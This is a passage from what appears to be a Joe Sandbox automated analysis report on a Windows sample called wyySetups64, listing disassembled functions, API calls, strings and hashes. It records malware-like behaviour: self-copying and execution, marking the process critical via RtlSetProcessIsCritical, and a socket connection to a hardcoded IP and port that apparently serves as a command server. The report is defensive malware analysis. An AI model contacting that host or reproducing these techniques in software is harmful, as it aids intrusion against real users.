5555555555, xrefs: 1000F3B8

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Sleep$BindingComposeString_swprintf
String ID: 5555555555
API String ID: 4095827290-304217070
Opcode ID: 1386329a5efce874629472e3114aa71895a9db344373e3eebb5de5ce6721f17b
Instruction ID: fc69ec1e48ae5d690075e784bcaa941b9f802e524bc258fcaffae97851e079c3
Opcode Fuzzy Hash: 1386329a5efce874629472e3114aa71895a9db344373e3eebb5de5ce6721f17b
Instruction Fuzzy Hash: 8B516DB5D00208ABEB14DFD4DC41BEFB7B8EB48340F108118FA05BB686D734AA44DBA1

Function 10010450 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 126
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10010380: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100103B3

Part of subcall function 10010330: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1001034E

CopyFileA.KERNEL32(00000000,?,00000000), ref: 100105A6
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 100105CC

Strings

open, xrefs: 100105C5
%s\%s, xrefs: 100104B1

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: File$ModuleName$CopyExecuteShell
String ID: %s\%s$open
API String ID: 689381381-538903891
Opcode ID: 830c5ba8e21fc8d3b44d54b6d08c68639795a16e1df432a09aa5f5a78e158d4f
Instruction ID: 9fe97893565a199cb231c8e39f665fc81eb16fc602bb536f2ce1346a8447d072
Opcode Fuzzy Hash: 830c5ba8e21fc8d3b44d54b6d08c68639795a16e1df432a09aa5f5a78e158d4f
Instruction Fuzzy Hash: ED5190B4D04248ABEB14CFA0C891BEEBBB5EF05344F508198F5557B282DB75AB88CB51

Function 1000F080 Relevance: 6.1, APIs: 4, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1000FF70: NdrClientCall2.RPCRT4 ref: 1000FF8F

CoTaskMemFree.OLE32(00000000), ref: 1000F195
CoTaskMemFree.OLE32(00000000), ref: 1000F1A2

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: FreeTask$Call2Client
String ID:
API String ID: 3085621743-0
Opcode ID: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction ID: 92fa5dec9f22b8c7c1328a1cbf0c23ece76f2aec65bf6276d958f50508a6dbd7
Opcode Fuzzy Hash: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction Fuzzy Hash: EB51F5B4E04209EBEF04CF94C894AEEB7B1FF48344F20815DE815A7748D735AA85EB91

Function 10001600 Relevance: 4.6, APIs: 3, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(10012340,00000000,00000000,00000000), ref: 1000165B
wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 1000167A
CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100016AE

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: FolderFreeKnownPathTaskwcstombs
String ID:
API String ID: 2577077003-0
Opcode ID: d300af7b25cb6414e2c33b3673a1f19339b002bae4b2470d2ba77c7d2a319cd1
Instruction ID: 5f7cab8de45bcdf2407ecebcb5d22f8ee1252467d95dee99cd854b3eb2a3a61a
Opcode Fuzzy Hash: d300af7b25cb6414e2c33b3673a1f19339b002bae4b2470d2ba77c7d2a319cd1
Instruction Fuzzy Hash: 8B2117B1900219EBEB04DF94CC95BEEBBB4FF08700F108518F615AB295DB75AA44CBD0

Function 1000FF40 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1000FF5C

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: ce7b8f29c0631b2804a26d986689ba3f09b2f6ec28eda86620c8604702a4acd4
Instruction ID: 7492027a281e140068cdac0bb76a9e8e76146da9bd0683f37df95b5dae096a5d
Opcode Fuzzy Hash: ce7b8f29c0631b2804a26d986689ba3f09b2f6ec28eda86620c8604702a4acd4
Instruction Fuzzy Hash: 5ED05EF190100CBBDB05CF88CC42AA977ACE784205F00C069EA0AC6200E931AA904691

Function 1000FF70 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1000FF8F

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: 1bc907cd574dd29b4d3e7ba9f4424db3402ad13f32cce3c6e12345c4effb2575
Instruction ID: 6afe2523060cff6880f9b4da93d12d89cb254fb88d74a93b831ee34bf0bcd51a
Opcode Fuzzy Hash: 1bc907cd574dd29b4d3e7ba9f4424db3402ad13f32cce3c6e12345c4effb2575
Instruction Fuzzy Hash: 69D05EB190000CBBE705CF88CC12AE977ACE785305F00C069EA0A8A240E931AA544691

Function 1000FFB0 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1000FFCF

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: 52255134d6b5ccea6af4de28952c25772812cd8c0d7113a6720df0c67090eddc
Instruction ID: 01a6fe9224db3f7d7e4205a28be5e1d10279d7ad68670d0b988955ce86484041
Opcode Fuzzy Hash: 52255134d6b5ccea6af4de28952c25772812cd8c0d7113a6720df0c67090eddc
Instruction Fuzzy Hash: F2D05EB190100CBBE705CF88CC02AA977ADE784305F00C169FA0A86240E931AE504691

Function 1000FFF0 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1001000F

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: 8713d8677658a6df8795b9ebb9893791690b4409c7e532052509524876d5dd8e
Instruction ID: 940d55c7aea47baa15732b8373ec63bb8ecc0fa7aba131a5eb793c07d5a03037
Opcode Fuzzy Hash: 8713d8677658a6df8795b9ebb9893791690b4409c7e532052509524876d5dd8e
Instruction Fuzzy Hash: 77D05EB290000CBBE705CF88CC02AE977ACE784305F00C069EA0A86240EA31AA504691

Non-executed Functions

Function 10001170 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 87librarywindowloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll), ref: 1000117B
GetProcAddress.KERNEL32(?,RtlAdjustPrivilege), ref: 1000118D
GetProcAddress.KERNEL32(?,RtlSetProcessIsCritical), ref: 100011A1
GetModuleHandleA.KERNEL32(00000000), ref: 100011FD
RegisterClassW.USER32(?), ref: 10001211
CreateWindowExW.USER32(00000000,ndowClass,indow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 10001236
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 10001251
TranslateMessage.USER32(?), ref: 1000125F
DispatchMessageW.USER32(?), ref: 10001269

Strings

indow, xrefs: 1000122B
ntdll.dll, xrefs: 10001176
RtlAdjustPrivilege, xrefs: 10001184
RtlSetProcessIsCritical, xrefs: 10001198
ndowClass, xrefs: 10001206, 10001233

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Message$AddressProc$ClassCreateDispatchHandleLibraryLoadModuleRegisterTranslateWindow
String ID: RtlAdjustPrivilege$RtlSetProcessIsCritical$indow$ndowClass$ntdll.dll
API String ID: 3658383123-467612925
Opcode ID: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction ID: 32e2e5621d63ba41cde31a5517ede96aa96e783cbb1150e0d99a961b1b18e838
Opcode Fuzzy Hash: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction Fuzzy Hash: A331F4B4D40218AFEB14DFE5CC89BDDBBB4FF48701F108119F60AAA294D7749690CB10

Function 00D51A37 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87windownativethreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00D51A74
CreateWindowExW.USER32(00000000,1001241C,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 00D51A9A
SendMessageW.USER32(100176D4,00000409,00000000,00D77800), ref: 00D51ACE
CreateThread.KERNEL32(00000000,00000000,10001B80,?,00000000,00000000), ref: 00D51B20
PostQuitMessage.USER32(00000000), ref: 00D51B2B
NtdllDefWindowProc_W.NTDLL(00000002,?,?,?), ref: 00D51B44

Strings

, xrefs: 00D51A5F

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: CreateMessageWindow$HandleModuleNtdllPostProc_QuitSendThread
String ID:
API String ID: 4292518056-3916222277
Opcode ID: 92815e4858959fe170ce8b5a77519db06f86c61dccf7134616d8db3801c69204
Instruction ID: dbb316fb4a1dfce28b6668ab646ab268b8e442b421cf2bad86b7ec4cd03e05b9
Opcode Fuzzy Hash: 92815e4858959fe170ce8b5a77519db06f86c61dccf7134616d8db3801c69204
Instruction Fuzzy Hash: CB3128B4640218FFEB10DF94CC89FAA7BB5EB48701F20C148FA09AB291D7B0D954CB65

Function 1001124D Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000001), ref: 10011259
memset.VCRUNTIME140(?,00000000,00000003), ref: 1001127F
memset.VCRUNTIME140(?,00000000,00000050), ref: 10011309
IsDebuggerPresent.KERNEL32 ref: 10011325
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001133E
UnhandledExceptionFilter.KERNEL32(?), ref: 10011348

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 16eea3db4395ea0ceff495b684aed5e6782a3178d032496c99d6345cf79e782e
Instruction ID: 9c1a1b5f42fc978b2ff8cf04cdab4bc874b060df06568115b329f45e6489fc23
Opcode Fuzzy Hash: 16eea3db4395ea0ceff495b684aed5e6782a3178d032496c99d6345cf79e782e
Instruction Fuzzy Hash: 3431E7B5D01228DADB11DFA4D9897CDBBB8FF08700F1041AAE40CAB250EB719B84CF45

Function 00D5EE57 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

RpcStringBindingComposeW.RPCRT4(00000000,100124B8,100124E4,100124CC,00000000,00D51D65), ref: 00D5EE95
RpcBindingFromStringBindingW.RPCRT4(00D51D65,00000000), ref: 00D5EEB0
RpcBindingSetAuthInfoExA.RPCRT4(00000000,00000000,00000006,0000000A,00000000,00000000,00000001), ref: 00D5EEE7
RpcStringFreeW.RPCRT4(00D51D65), ref: 00D5EEF1

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: Binding$String$AuthComposeFreeFromInfo
String ID:
API String ID: 1126441048-0
Opcode ID: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction ID: e44938561fc96a1daae998fb56d2d3551bda6c576957c9aa4a3a0e4e067412cd
Opcode Fuzzy Hash: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction Fuzzy Hash: 2911DAB5D00219BFEB14CFE4C985BEEBBB4FB08704F108559E605B7280D7B59A54CBA0

Function 100113E9 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 100113FB
GetCurrentThreadId.KERNEL32 ref: 1001140A
GetCurrentProcessId.KERNEL32 ref: 10011413
QueryPerformanceCounter.KERNEL32(?), ref: 10011420

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction ID: 0a3c688fa97bd66b33bde44f19f6c44622bf0dc03c57f15caf060906c92fb81b
Opcode Fuzzy Hash: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction Fuzzy Hash: 45F062B4D1021DEBDB05DBB4CA8999EBBF4FF1D200B918696E412E7111E730EB64DB50

Function 00D61520 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D61526
UnhandledExceptionFilter.KERNEL32(?), ref: 00D6152F
GetCurrentProcess.KERNEL32(C0000409), ref: 00D6153A
TerminateProcess.KERNEL32(00000000), ref: 00D61541

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: b06f1e73e4fc9b3e9c8109c654ce749b3bdcd294ed5a62abbbf62953f21e2e11
Instruction ID: c91bca8abe4cc31a3593bf64d34d242ed6c9426ffac9acabdf0b694d2cdf9089
Opcode Fuzzy Hash: b06f1e73e4fc9b3e9c8109c654ce749b3bdcd294ed5a62abbbf62953f21e2e11
Instruction Fuzzy Hash: A4D0C9B1044114AFEB025BF0AD8CAAD3F25FB0C202F058304F34A81462C6728422CF11

Function 00D61521 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D61526
UnhandledExceptionFilter.KERNEL32(?), ref: 00D6152F
GetCurrentProcess.KERNEL32(C0000409), ref: 00D6153A
TerminateProcess.KERNEL32(00000000), ref: 00D61541

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 0d7c60a2ef05bffbce595573e6e262163d78959232fdd7494e8d52d076cdfd15
Instruction ID: 4980016af1f69655e72f99868af42ae204db573405a571edd3281e81c481927a
Opcode Fuzzy Hash: 0d7c60a2ef05bffbce595573e6e262163d78959232fdd7494e8d52d076cdfd15
Instruction Fuzzy Hash: F6D012B1000114ABE7022FF0DD4CB593F29FB0C202F058200F30981022CB32D422CF51

Function 00D60EE7 Relevance: 1.7, APIs: 1, Instructions: 242COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D60EFD

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction ID: 9b2d5830297149f68661b34005b9ab08a4c921503e6427eb5770f98a54a419f4
Opcode Fuzzy Hash: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction Fuzzy Hash: 17A14C75A11715CBEB1ACF55C8C179ABBB1FB48365F18C52AE429E72A0D334D940CF60

Function 10010F10 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 10010F26

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction ID: 2823fa2859f74bead7cb2a3ff5e24ff6c926bc6ae68a0f7e2a3c8df160a01c34
Opcode Fuzzy Hash: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction Fuzzy Hash: EBA1F7B1E11715CBEB1ACF54C8C169ABBF1FB48364F15C52AE819EB290D374DA808B90

Function 00D51087 Relevance: 1.6, APIs: 1, Instructions: 74nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(00000011,?,?,?), ref: 00D51135

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 107021637aa96cc5c1bd2a280f74957b00f7bc018f5350d6d5e6892ae08a1c1a
Instruction ID: 5c49a896657d9d5056e40f461b09cf7d74cddba61ae46fb975a2a7b8595ddc58
Opcode Fuzzy Hash: 107021637aa96cc5c1bd2a280f74957b00f7bc018f5350d6d5e6892ae08a1c1a
Instruction Fuzzy Hash: 4C21EA78A44709AFEF14CF94CC86FAD7775AB48702F108059FA166A2D0C6B09944CB61

Function 00D50AE4 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction ID: e3e4ffe5d5777b626c31e0dcde191156e3d8de247271d6b7342cd66842c622be
Opcode Fuzzy Hash: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction Fuzzy Hash: E2317A76A087468FCB14DF18C4C0826BBE4FF89319F1A096DEC9597312E770F9598BA1

Function 100100C0 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100100E3
getaddrinfo.WS2_32(118.107.44.219,18852,?,00000000), ref: 1001012A
WSACleanup.WS2_32 ref: 10010139
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10010141
socket.WS2_32(?,?,?), ref: 10010182
WSACleanup.WS2_32 ref: 10010196
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001019E

Strings

118.107.44.219, xrefs: 10010125
18852, xrefs: 10010120

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Cleanupexit$Startupgetaddrinfosocket
String ID: 118.107.44.219$18852
API String ID: 2357443324-3001398927
Opcode ID: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction ID: 5d8dd8f7e503384157f0d0037aa173dfcecf3f6c77ed8d91bfff33004e817cc6
Opcode Fuzzy Hash: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction Fuzzy Hash: BC61F8B0A05225EFE704DFA8CD88B9D7BB5FB48311F108199F519AB2A0C774D980DB65

Function 1000CDE0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1000CE28
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1000CE4D
?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1000CE76
?flags@ios_base@std@@QBEHXZ.MSVCP140(0Gl), ref: 1000CEE5
?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000CF26
?fill@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDXZ.MSVCP140 ref: 1000CF3A
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 1000CF4B
?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000CF9C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(1000F2B3,?,?), ref: 1000CFB4
?rdbuf@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@XZ.MSVCP140 ref: 1000D010
?fill@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDXZ.MSVCP140 ref: 1000D024
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 1000D035
?width@ios_base@std@@QAE_J_J@Z.MSVCP140(00000000,00000000), ref: 1000D088
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 1000D0DA

Strings

0Gl, xrefs: 1000CE1D, 1000CE22, 1000CE9E, 1000D0C3, 1000D0C8, 1000D0E1, 1000CE42, 1000CE47, 1000CE6B, 1000CE70, 1000CEA1
